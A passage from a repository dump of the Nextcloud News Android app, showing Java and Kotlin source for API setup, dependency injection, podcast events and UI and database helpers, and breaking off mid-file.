    "content": "package de.luhmer.owncloudnewsreader.di;\n\nimport android.content.Context;\nimport android.content.SharedPreferences;\nimport android.util.Log;\n\nimport androidx.annotation.NonNull;\nimport androidx.annotation.VisibleForTesting;\n\nimport com.nextcloud.android.sso.api.NextcloudAPI;\nimport com.nextcloud.android.sso.exceptions.SSOException;\nimport com.nextcloud.android.sso.helper.SingleAccountHelper;\nimport com.nextcloud.android.sso.model.SingleSignOnAccount;\n\nimport de.luhmer.owncloudnewsreader.SettingsActivity;\nimport de.luhmer.owncloudnewsreader.helper.GsonConfig;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.NewsAPI;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.OcsAPI;\nimport de.luhmer.owncloudnewsreader.ssl.MemorizingTrustManager;\nimport de.luhmer.owncloudnewsreader.ssl.OkHttpSSLClient;\nimport okhttp3.HttpUrl;\nimport okhttp3.OkHttpClient;\nimport retrofit2.NextcloudRetrofitApiBuilder;\nimport retrofit2.Retrofit;\nimport retrofit2.adapter.rxjava3.RxJava3CallAdapterFactory;\nimport retrofit2.converter.gson.GsonConverterFactory;\n\n/**\n * Created by david on 26.05.17.\n */\n\npublic class ApiProvider {\n\n    private static final String TAG = ApiProvider.class.getCanonicalName();\n    private final MemorizingTrustManager mMemorizingTrustManager;\n    protected final SharedPreferences mPrefs;\n    protected Context context;\n    private NextcloudAPI mNextcloudSsoApi;\n\n    protected NewsAPI mNewsApi;\n    private OcsAPI mServerApi;\n\n\n\n    public ApiProvider(MemorizingTrustManager mtm, SharedPreferences sp, Context context) {\n        this.mMemorizingTrustManager = mtm;\n        this.mPrefs = sp;\n        this.context = context;\n        initApi(new NextcloudAPI.ApiConnectedListener() {\n            @Override\n            public void onConnected() { }\n\n            @Override\n            public void onError(Exception ex) { }\n        });\n    }\n\n    public void initApi(@NonNull NextcloudAPI.ApiConnectedListener apiConnectedListener) {\n        if(mNextcloudSsoApi != null) {\n            // Destroy previous Service Connection if we need to reconnect (e.g. login again)\n            mNextcloudSsoApi.close();\n            mNextcloudSsoApi = null;\n        }\n\n        boolean useSSO = mPrefs.getBoolean(SettingsActivity.SW_USE_SINGLE_SIGN_ON, false);\n        if(useSSO) {\n            initSsoApi(apiConnectedListener);\n        } else {\n            if(mPrefs.contains(SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING)) {\n                String username = mPrefs.getString(SettingsActivity.EDT_USERNAME_STRING, \"\");\n                String password = mPrefs.getString(SettingsActivity.EDT_PASSWORD_STRING, \"\");\n                String baseUrlStr = mPrefs.getString(SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING, null);\n                HttpUrl baseUrl = HttpUrl.parse(baseUrlStr).newBuilder()\n                        .addPathSegments(\"index.php/apps/news/api/v1-2/\")\n                        .build();\n                Log.d(\"ApiModule\", \"HttpUrl: \" + baseUrl);\n                OkHttpClient client = OkHttpSSLClient.GetSslClient(baseUrl, username, password, mPrefs, mMemorizingTrustManager);\n                initRetrofitApi(baseUrl, client);\n                apiConnectedListener.onConnected();\n            } else {\n                apiConnectedListener.onError(new Exception(\"no login data\"));\n            }\n        }\n    }\n\n    private void initRetrofitApi(HttpUrl baseUrl, OkHttpClient client) {\n        Retrofit retrofit = new Retrofit.Builder()\n                .addConverterFactory(GsonConverterFactory.create(GsonConfig.GetGson()))\n                .addCallAdapterFactory(RxJava3CallAdapterFactory.create())\n                .baseUrl(baseUrl)\n                .client(client)\n                .build();\n\n        mNewsApi = retrofit.create(NewsAPI.class);\n        mServerApi = null;\n    }\n\n    protected void initSsoApi(final NextcloudAPI.ApiConnectedListener callback) {\n        try {\n            SingleSignOnAccount ssoAccount = SingleAccountHelper.getCurrentSingleSignOnAccount(context);\n            mNextcloudSsoApi = new NextcloudAPI(context, ssoAccount, GsonConfig.GetGson(), callback);\n            mNewsApi = new NextcloudRetrofitApiBuilder(mNextcloudSsoApi, NewsAPI.mApiEndpoint).create(NewsAPI.class);\n            mServerApi = new NextcloudRetrofitApiBuilder(mNextcloudSsoApi, OcsAPI.mApiEndpoint).create(OcsAPI.class);\n        } catch (SSOException e) {\n            callback.onError(e);\n        }\n    }\n\n    public NewsAPI getNewsAPI() {\n        return mNewsApi;\n    }\n\n    public OcsAPI getServerAPI() {\n        return mServerApi;\n    }\n\n    @VisibleForTesting\n    public void setAPI(NewsAPI newsApi) {\n        this.mNewsApi = newsApi;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/di/AppComponent.java",
    "content": "package de.luhmer.owncloudnewsreader.di;\n\nimport javax.inject.Singleton;\n\nimport dagger.Component;\nimport de.luhmer.owncloudnewsreader.AddFolderDialogFragment;\nimport de.luhmer.owncloudnewsreader.FolderOptionsDialogFragment;\nimport de.luhmer.owncloudnewsreader.LoginDialogActivity;\nimport de.luhmer.owncloudnewsreader.NewFeedActivity;\nimport de.luhmer.owncloudnewsreader.NewsDetailActivity;\nimport de.luhmer.owncloudnewsreader.NewsDetailFragment;\nimport de.luhmer.owncloudnewsreader.NewsReaderDetailFragment;\nimport de.luhmer.owncloudnewsreader.NewsReaderListActivity;\nimport de.luhmer.owncloudnewsreader.NewsReaderListDialogFragment;\nimport de.luhmer.owncloudnewsreader.NewsReaderListFragment;\nimport de.luhmer.owncloudnewsreader.PodcastFragmentActivity;\nimport de.luhmer.owncloudnewsreader.SettingsActivity;\nimport de.luhmer.owncloudnewsreader.SettingsFragment;\nimport de.luhmer.owncloudnewsreader.authentication.OwnCloudSyncAdapter;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.helper.NextcloudGlideModule;\nimport de.luhmer.owncloudnewsreader.services.SyncItemStateService;\nimport de.luhmer.owncloudnewsreader.widget.WidgetProvider;\n\n/**\n * Created by david on 22.05.17.\n */\n\n@Singleton\n@Component(modules = { ApiModule.class })\npublic interface AppComponent {\n\n    void injectActivity(NewsReaderListActivity activity);\n    void injectActivity(NewsDetailActivity activity);\n    void injectActivity(PodcastFragmentActivity activity);\n    void injectActivity(NewFeedActivity activity);\n    void injectActivity(SettingsActivity activity);\n    void injectActivity(LoginDialogActivity activity);\n\n    void injectFragment(NewsReaderListDialogFragment fragment);\n    void injectFragment(NewsReaderListFragment fragment);\n    void injectFragment(SettingsFragment fragment);\n    void injectFragment(NewsDetailFragment fragment);\n    void injectFragment(NewsReaderDetailFragment fragment);\n    void injectFragment(FolderOptionsDialogFragment fragment);\n    void injectFragment(AddFolderDialogFragment fragment);\n\n    void injectService(SyncItemStateService service);\n    void injectService(OwnCloudSyncAdapter ownCloudSyncAdapter);\n\n    void injectWidget(WidgetProvider widgetProvider);\n\n    void injectGlideModule(NextcloudGlideModule glideModule);\n\n    void injectDatabaseConnection(DatabaseConnectionOrm databaseConnectionOrm);\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/CollapsePodcastView.java",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast;\n\npublic class CollapsePodcastView {\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/ExitPlayback.java",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast;\n\npublic class ExitPlayback {\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/ExpandPodcastView.java",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast;\n\npublic class ExpandPodcastView {\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/NewPodcastPlaybackListener.java",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast;\n\npublic class NewPodcastPlaybackListener {\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/PodcastCompletedEvent.java",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast;\n\npublic class PodcastCompletedEvent {\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/PodcastFeedClicked.kt",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast\n\nclass PodcastFeedClicked(\n    val position: Int,\n)\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/RegisterVideoOutput.java",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast;\n\nimport android.view.SurfaceView;\nimport android.view.View;\n\npublic class RegisterVideoOutput {\n\n    public RegisterVideoOutput(SurfaceView surfaceView, View parentResizableView) {\n        this.surfaceView = surfaceView;\n        this.parentResizableView = parentResizableView;\n    }\n\n    public SurfaceView surfaceView;\n    public View parentResizableView;\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/SeekPodcast.java",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast;\n\npublic class SeekPodcast {\n\n    public double milliSeconds;\n\n    public SeekPodcast(double milliSeconds) {\n        this.milliSeconds = milliSeconds;\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/SpeedPodcast.java",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast;\n\n\npublic class SpeedPodcast {\n\n    public SpeedPodcast(float playbackSpeed) {\n        this.playbackSpeed = playbackSpeed;\n    }\n\n    public float playbackSpeed;\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/StartDownloadPodcast.kt",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast\n\nimport de.luhmer.owncloudnewsreader.model.PodcastItem\n\nclass StartDownloadPodcast(\n    val podcast: PodcastItem,\n)\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/TogglePlayerStateEvent.java",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast;\n\npublic class TogglePlayerStateEvent {\n\n    public enum State { Toggle, Play, Pause }\n    private State mState = State.Toggle;\n\n    public TogglePlayerStateEvent() { }\n\n    public TogglePlayerStateEvent(State state) {\n        this.mState = state;\n    }\n\n    public State getState() {\n        return mState;\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/events/podcast/WindPodcast.java",
    "content": "package de.luhmer.owncloudnewsreader.events.podcast;\n\npublic class WindPodcast {\n\n    public double milliSeconds;\n\n    public WindPodcast(double milliSeconds) {\n        this.milliSeconds = milliSeconds;\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/AppCompatPreferenceActivity.java",
    "content": "\n\n/*\n * Copyright (C) 2014 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage de.luhmer.owncloudnewsreader.helper;\n\n\nimport android.content.res.Configuration;\nimport android.os.Bundle;\nimport android.preference.PreferenceActivity;\nimport androidx.annotation.LayoutRes;\nimport androidx.annotation.Nullable;\nimport androidx.appcompat.app.ActionBar;\nimport androidx.appcompat.app.AppCompatDelegate;\nimport androidx.appcompat.widget.Toolbar;\nimport android.view.MenuInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\n\n/**\n * A {@link PreferenceActivity} which implements and proxies the necessary calls\n * to be used with AppCompat.\n *\n * This technique can be used with an {@link android.app.Activity} class, not just\n * {@link PreferenceActivity}.\n */\npublic abstract class AppCompatPreferenceActivity extends PreferenceActivity {\n\n    private AppCompatDelegate mDelegate;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        getDelegate().installViewFactory();\n        getDelegate().onCreate(savedInstanceState);\n        super.onCreate(savedInstanceState);\n    }\n\n    @Override\n    protected void onPostCreate(Bundle savedInstanceState) {\n        super.onPostCreate(savedInstanceState);\n        getDelegate().onPostCreate(savedInstanceState);\n    }\n\n    public ActionBar getSupportActionBar() {\n        return getDelegate().getSupportActionBar();\n    }\n\n    public void setSupportActionBar(@Nullable Toolbar toolbar) {\n        getDelegate().setSupportActionBar(toolbar);\n    }\n\n    @Override\n    public MenuInflater getMenuInflater() {\n        return getDelegate().getMenuInflater();\n    }\n\n    @Override\n    public void setContentView(@LayoutRes int layoutResID) {\n        getDelegate().setContentView(layoutResID);\n    }\n\n    @Override\n    public void setContentView(View view) {\n        getDelegate().setContentView(view);\n    }\n\n    @Override\n    public void setContentView(View view, ViewGroup.LayoutParams params) {\n        getDelegate().setContentView(view, params);\n    }\n\n    @Override\n    public void addContentView(View view, ViewGroup.LayoutParams params) {\n        getDelegate().addContentView(view, params);\n    }\n\n    @Override\n    protected void onPostResume() {\n        super.onPostResume();\n        getDelegate().onPostResume();\n    }\n\n    @Override\n    protected void onTitleChanged(CharSequence title, int color) {\n        super.onTitleChanged(title, color);\n        getDelegate().setTitle(title);\n    }\n\n    @Override\n    public void onConfigurationChanged(Configuration newConfig) {\n        super.onConfigurationChanged(newConfig);\n        getDelegate().onConfigurationChanged(newConfig);\n    }\n\n    @Override\n    protected void onStop() {\n        super.onStop();\n        getDelegate().onStop();\n    }\n\n    @Override\n    protected void onDestroy() {\n        super.onDestroy();\n        getDelegate().onDestroy();\n    }\n\n    public void invalidateOptionsMenu() {\n        getDelegate().invalidateOptionsMenu();\n    }\n\n    private AppCompatDelegate getDelegate() {\n        if (mDelegate == null) {\n            mDelegate = AppCompatDelegate.create(this, null);\n        }\n        return mDelegate;\n    }\n}"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/AsyncTaskHelper.java",
    "content": "package de.luhmer.owncloudnewsreader.helper;\n\nimport android.os.AsyncTask;\n\npublic class AsyncTaskHelper {\n    @SafeVarargs\n    public static <Params,Progress,Result> void StartAsyncTask(AsyncTask<Params,Progress,Result> asyncTask, Params... params) {\n        asyncTask.executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, params);\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/AutoResizeTextView.java",
    "content": "package de.luhmer.owncloudnewsreader.helper;\n\n/**\n *            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n *                    Version 2, December 2004\n *\n * Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>\n *\n * Everyone is permitted to copy and distribute verbatim or modified\n * copies of this license document, and changing it is allowed as long\n * as the name is changed.\n *\n *            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n *   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n *\n *  0. You just DO WHAT THE FUCK YOU WANT TO.\n */\n\nimport android.annotation.SuppressLint;\nimport android.content.Context;\nimport android.text.Layout.Alignment;\nimport android.text.StaticLayout;\nimport android.text.TextPaint;\nimport android.util.AttributeSet;\nimport android.util.TypedValue;\nimport android.widget.TextView;\n\nimport androidx.appcompat.widget.AppCompatTextView;\n\n/**\n * Text view that auto adjusts text size to fit within the view.\n * If the text size equals the minimum text size and still does not\n * fit, append with an ellipsis.\n *\n * @author Chase Colburn\n * @since Apr 4, 2011\n */\npublic class AutoResizeTextView extends AppCompatTextView {\n\n    // Minimum text size for this text view\n    public static final float MIN_TEXT_SIZE = 20;\n\n    // Interface for resize notifications\n    public interface OnTextResizeListener {\n        void onTextResize(TextView textView, float oldSize, float newSize);\n    }\n\n    // Our ellipse string\n    private static final String mEllipsis = \"...\";\n\n    // Registered resize listener\n    private OnTextResizeListener mTextResizeListener;\n\n    // Flag for text and/or size changes to force a resize\n    private boolean mNeedsResize = false;\n\n    // Text size that is set from code. This acts as a starting point for resizing\n    private float mTextSize;\n\n    // Temporary upper bounds on the starting text size\n    private float mMaxTextSize = 0;\n\n    // Lower bounds for text size\n    private float mMinTextSize = MIN_TEXT_SIZE;\n\n    // Text view line spacing multiplier\n    private float mSpacingMult = 1.0f;\n\n    // Text view additional line spacing\n    private float mSpacingAdd = 0.0f;\n\n    // Add ellipsis to text that overflows at the smallest text size\n    private boolean mAddEllipsis = true;\n\n    // Default constructor override\n    public AutoResizeTextView(Context context) {\n        this(context, null);\n    }\n\n    // Default constructor when inflating from XML file\n    public AutoResizeTextView(Context context, AttributeSet attrs) {\n        this(context, attrs, 0);\n    }\n\n    // Default constructor override\n    public AutoResizeTextView(Context context, AttributeSet attrs, int defStyle) {\n        super(context, attrs, defStyle);\n        mTextSize = getTextSize();\n    }\n\n    /**\n     * When text changes, set the force resize flag to true and reset the text size.\n     */\n    @Override\n    protected void onTextChanged(final CharSequence text, final int start, final int before, final int after) {\n        mNeedsResize = true;\n        // Since this view may be reused, it is good to reset the text size\n        resetTextSize();\n    }\n\n    /**\n     * If the text view size changed, set the force resize flag to true\n     */\n    @Override\n    protected void onSizeChanged(int w, int h, int oldw, int oldh) {\n        if (w != oldw || h != oldh) {\n            mNeedsResize = true;\n        }\n    }\n\n    /**\n     * Register listener to receive resize notifications\n     * @param listener\n     */\n    public void setOnResizeListener(OnTextResizeListener listener) {\n        mTextResizeListener = listener;\n    }\n\n    /**\n     * Override the set text size to update our internal reference values\n     */\n    @Override\n    public void setTextSize(float size) {\n        super.setTextSize(size);\n        mTextSize = getTextSize();\n    }\n\n    /**\n     * Override the set text size to update our internal reference values\n     */\n    @Override\n    public void setTextSize(int unit, float size) {\n        super.setTextSize(unit, size);\n        mTextSize = getTextSize();\n    }\n\n    /**\n     * Override the set line spacing to update our internal reference values\n     */\n    @Override\n    public void setLineSpacing(float add, float mult) {\n        super.setLineSpacing(add, mult);\n        mSpacingMult = mult;\n        mSpacingAdd = add;\n    }\n\n    /**\n     * Set the upper text size limit and invalidate the view\n     * @param maxTextSize\n     */\n    public void setMaxTextSize(float maxTextSize) {\n        mMaxTextSize = maxTextSize;\n        requestLayout();\n        invalidate();\n    }\n\n    /**\n     * Return upper text size limit\n     * @return\n     */\n    public float getMaxTextSize() {\n        return mMaxTextSize;\n    }\n\n    /**\n     * Set the lower text size limit and invalidate the view\n     * @param minTextSize\n     */\n    public void setMinTextSize(float minTextSize) {\n        mMinTextSize = minTextSize;\n        requestLayout();\n        invalidate();\n    }\n\n    /**\n     * Return lower text size limit\n     * @return\n     */\n    public float getMinTextSize() {\n        return mMinTextSize;\n    }\n\n    /**\n     * Set flag to add ellipsis to text that overflows at the smallest text size\n     * @param addEllipsis\n     */\n    public void setAddEllipsis(boolean addEllipsis) {\n        mAddEllipsis = addEllipsis;\n    }\n\n    /**\n     * Return flag to add ellipsis to text that overflows at the smallest text size\n     * @return\n     */\n    public boolean getAddEllipsis() {\n        return mAddEllipsis;\n    }\n\n    /**\n     * Reset the text to the original size\n     */\n    public void resetTextSize() {\n        if(mTextSize > 0) {\n            super.setTextSize(TypedValue.COMPLEX_UNIT_PX, mTextSize);\n            mMaxTextSize = mTextSize;\n        }\n    }\n\n    /**\n     * Resize text after measuring\n     */\n    @Override\n    protected void onLayout(boolean changed, int left, int top, int right, int bottom) {\n        if(changed || mNeedsResize) {\n            int widthLimit = (right - left) - getCompoundPaddingLeft() - getCompoundPaddingRight();\n            int heightLimit = (bottom - top) - getCompoundPaddingBottom() - getCompoundPaddingTop();\n            resizeText(widthLimit, heightLimit);\n        }\n        super.onLayout(changed, left, top, right, bottom);\n    }\n\n\n    /**\n     * Resize the text size with default width and height\n     */\n    public void resizeText() {\n        int heightLimit = getHeight() - getPaddingBottom() - getPaddingTop();\n        int widthLimit = getWidth() - getPaddingLeft() - getPaddingRight();\n        resizeText(widthLimit, heightLimit);\n    }\n\n    /**\n     * Resize the text size with specified width and height\n     * @param width\n     * @param height\n     */\n    @SuppressLint(\"SetTextI18n\")\n    public void resizeText(int width, int height) {\n        CharSequence text = getText();\n        // Do not resize if the view does not have dimensions or there is no text\n        if(text == null || text.length() == 0 || height <= 0 || width <= 0 || mTextSize == 0) {\n            return;\n        }\n\n        // Get the text view's paint object\n        TextPaint textPaint = getPaint();\n\n        // Store the current text size\n        float oldTextSize = textPaint.getTextSize();\n        // If there is a max text size set, use the lesser of that and the default text size\n        float targetTextSize = mMaxTextSize > 0 ? Math.min(mTextSize, mMaxTextSize) : mTextSize;\n\n        // Get the required text height\n        int textHeight = getTextHeight(text, textPaint, width, targetTextSize);\n\n        // Until we either fit within our text view or we had reached our min text size, incrementally try smaller sizes\n        while(textHeight > height && targetTextSize > mMinTextSize) {\n            targetTextSize = Math.max(targetTextSize - 2, mMinTextSize);\n            textHeight = getTextHeight(text, textPaint, width, targetTextSize);\n        }\n\n        // If we had reached our minimum text size and still don't fit, append an ellipsis\n        if(mAddEllipsis && targetTextSize == mMinTextSize && textHeight > height) {\n            // Draw using a static layout\n            StaticLayout layout = new StaticLayout(text, textPaint, width, Alignment.ALIGN_NORMAL, mSpacingMult, mSpacingAdd, false);\n            // Check that we have a least one line of rendered text\n            if(layout.getLineCount() > 0) {\n                // Since the line at the specific vertical position would be cut off,\n                // we must trim up to the previous line\n                int lastLine = layout.getLineForVertical(height) - 1;\n                // If the text would not even fit on a single line, clear it\n                if(lastLine < 0) {\n                    setText(\"\");\n                }\n                // Otherwise, trim to the previous line and add an ellipsis\n                else {\n                    int start = layout.getLineStart(lastLine);\n                    int end = layout.getLineEnd(lastLine);\n                    float lineWidth = layout.getLineWidth(lastLine);\n                    float ellipseWidth = textPaint.measureText(mEllipsis);\n\n                    // Trim characters off until we have enough room to draw the ellipsis\n                    while(width < lineWidth + ellipseWidth) {\n                        lineWidth = textPaint.measureText(text.subSequence(start, --end + 1).toString());\n                    }\n                    setText(text.subSequence(0, end) + mEllipsis);\n                }\n            }\n        }\n\n        // Some devices try to auto adjust line spacing, so force default line spacing\n        // and invalidate the layout as a side effect\n        textPaint.setTextSize(targetTextSize);\n        setLineSpacing(mSpacingAdd, mSpacingMult);\n\n        // Notify the listener if registered\n        if(mTextResizeListener != null) {\n            mTextResizeListener.onTextResize(this, oldTextSize, targetTextSize);\n        }\n\n        // Reset force resize flag\n        mNeedsResize = false;\n    }\n\n    // Set the text size of the text paint object and use a static layout to render text off screen before measuring\n    private int getTextHeight(CharSequence source, TextPaint paint, int width, float textSize) {\n        // Update the text paint object\n        paint.setTextSize(textSize);\n        // Measure using a static layout\n        StaticLayout layout = new StaticLayout(source, paint, width, Alignment.ALIGN_NORMAL, mSpacingMult, mSpacingAdd, true);\n        return layout.getHeight();\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/ColorHelper.java",
    "content": "package de.luhmer.owncloudnewsreader.helper;\n\nimport android.annotation.SuppressLint;\nimport android.content.Context;\nimport android.content.res.TypedArray;\nimport android.graphics.Color;\n\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\n\npublic class ColorHelper {\n    @SuppressLint(\"DefaultLocale\")\n    public static String getCssColor(int color) {\n        // using %f for the double value would result in a localized string, e.g. 0,12 which\n        // would be an invalid css color string\n        return String.format(\"rgba(%d,%d,%d,%s)\",\n                Color.red(color),\n                Color.green(color),\n                Color.blue(color),\n                Double.toString(Color.alpha(color)/255.0));\n    }\n\n    public static int[] getColorsFromAttributes(Context context, int... attr) {\n        final TypedArray a = context\n                .obtainStyledAttributes(attr);\n        int[] colors = new int[a.getIndexCount()];\n        for(int i=0; i<a.getIndexCount(); i++) {\n            colors[i] = a.getColor(i,0);\n        }\n        a.recycle();\n        return colors;\n    }\n\n    public static int getColorFromAttribute(Context context, int attr) {\n        int[] colors = getColorsFromAttributes(context, attr);\n        if(colors.length >= 1)\n            return colors[0];\n        else\n            return 0;\n    }\n\n    public static int getFeedColor(Context context, Feed item) {\n        int color;\n        if(item != null && item.getAvgColour() != null)\n            color = Integer.parseInt(item.getAvgColour());\n        else\n            color = getColorFromAttribute(context, R.attr.dividerLineColor);\n        return color;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/DatabaseUtils.kt",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\npackage de.luhmer.owncloudnewsreader.helper\n\nimport android.content.Context\nimport android.content.SharedPreferences\nimport android.util.Log\nimport de.luhmer.owncloudnewsreader.SettingsActivity\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm.SORT_DIRECTION\nimport java.io.File\n\nconst val DATABASE_NAME = \"OwncloudNewsReader.db\"\n\nfun copyDatabaseToSdCard(context: Context): Boolean {\n    val path = context.getDatabasePath(DATABASE_NAME).path\n    val db = File(path)\n    val backupDb = getPath(context)\n    if (db.exists()) {\n        try {\n            val parentFolder = backupDb.parentFile\n            parentFolder?.mkdirs()\n            db.copyTo(backupDb, true)\n            return true\n        } catch (ignore: Exception) {\n            Log.e(\"DatabaseUtils\", \"copyDatabaseToSdCard: \", ignore)\n        }\n    }\n    return false\n}\n\nfun getPath(context: Context): File =\n    File(\n        NewsFileUtils.getCacheDirPath(context) + \"/dbBackup/\" + DATABASE_NAME,\n    )\n\nfun getSortDirectionFromSettings(prefs: SharedPreferences): SORT_DIRECTION {\n    val default = SORT_DIRECTION.desc\n    val sortDirection = prefs.getString(SettingsActivity.SP_SORT_ORDER, default.toString())\n    return sortDirection?.toInt()?.let {\n        SORT_DIRECTION.values().getOrNull(it)\n    } ?: default\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/DateTimeFormatter.java",
    "content": "package de.luhmer.owncloudnewsreader.helper;\n\nimport android.content.Context;\n\nimport java.util.Calendar;\nimport java.util.Date;\n\nimport de.luhmer.owncloudnewsreader.R;\n\npublic class DateTimeFormatter {\n    private static final int SECOND_MILLIS = 1000;\n    private static final int MINUTE_MILLIS = 60 * SECOND_MILLIS;\n    private static final int HOUR_MILLIS = 60 * MINUTE_MILLIS;\n    private static final int DAY_MILLIS = 24 * HOUR_MILLIS;\n    private static final int WEEK_MILLIS = 7 * DAY_MILLIS;\n\n    public static String getTimeAgo(Date date) {\n        Date now = Calendar.getInstance().getTime();\n        final long diff = now.getTime() - date.getTime();\n\n        if (diff < SECOND_MILLIS) {\n            return \"0\";\n        } else if (diff < MINUTE_MILLIS) {\n            return diff / SECOND_MILLIS + \"now\";\n        } else if (diff < 2 * MINUTE_MILLIS) {\n            return \"1m\";\n        } else if (diff < 59 * MINUTE_MILLIS) {\n            return diff / MINUTE_MILLIS + \"m\";\n        } else if (diff < 90 * MINUTE_MILLIS) {\n            return \"1h\";\n        } else if (diff < 24 * HOUR_MILLIS) {\n            return diff / HOUR_MILLIS + \"h\";\n        } else if (diff < 48 * HOUR_MILLIS) {\n            return \"1d\";\n        } else if (diff < 6 * DAY_MILLIS) {\n            return diff / DAY_MILLIS + \"d\";\n        } else if (diff < 11 * DAY_MILLIS) {\n            return \"1w\";\n        } else {\n            return diff / WEEK_MILLIS + \"w\";\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/FavIconHandler.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.helper;\n\nimport android.content.Context;\nimport android.graphics.Bitmap;\nimport android.graphics.drawable.Drawable;\nimport android.util.Log;\nimport android.widget.ImageView;\n\nimport androidx.annotation.NonNull;\nimport androidx.annotation.Nullable;\nimport androidx.core.content.ContextCompat;\nimport androidx.palette.graphics.Palette;\n\nimport com.bumptech.glide.Glide;\nimport com.bumptech.glide.RequestManager;\nimport com.bumptech.glide.load.engine.DiskCacheStrategy;\nimport com.bumptech.glide.load.resource.bitmap.RoundedCorners;\nimport com.bumptech.glide.request.RequestOptions;\nimport com.bumptech.glide.request.target.SimpleTarget;\nimport com.bumptech.glide.request.target.Target;\nimport com.bumptech.glide.request.transition.Transition;\n\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\n\npublic class FavIconHandler {\n    private static final String TAG = FavIconHandler.class.getCanonicalName();\n\n    private final RequestManager mGlide;\n    private final Context mContext;\n    private final int mPlaceHolder;\n\n    public FavIconHandler(Context context) {\n        mPlaceHolder = 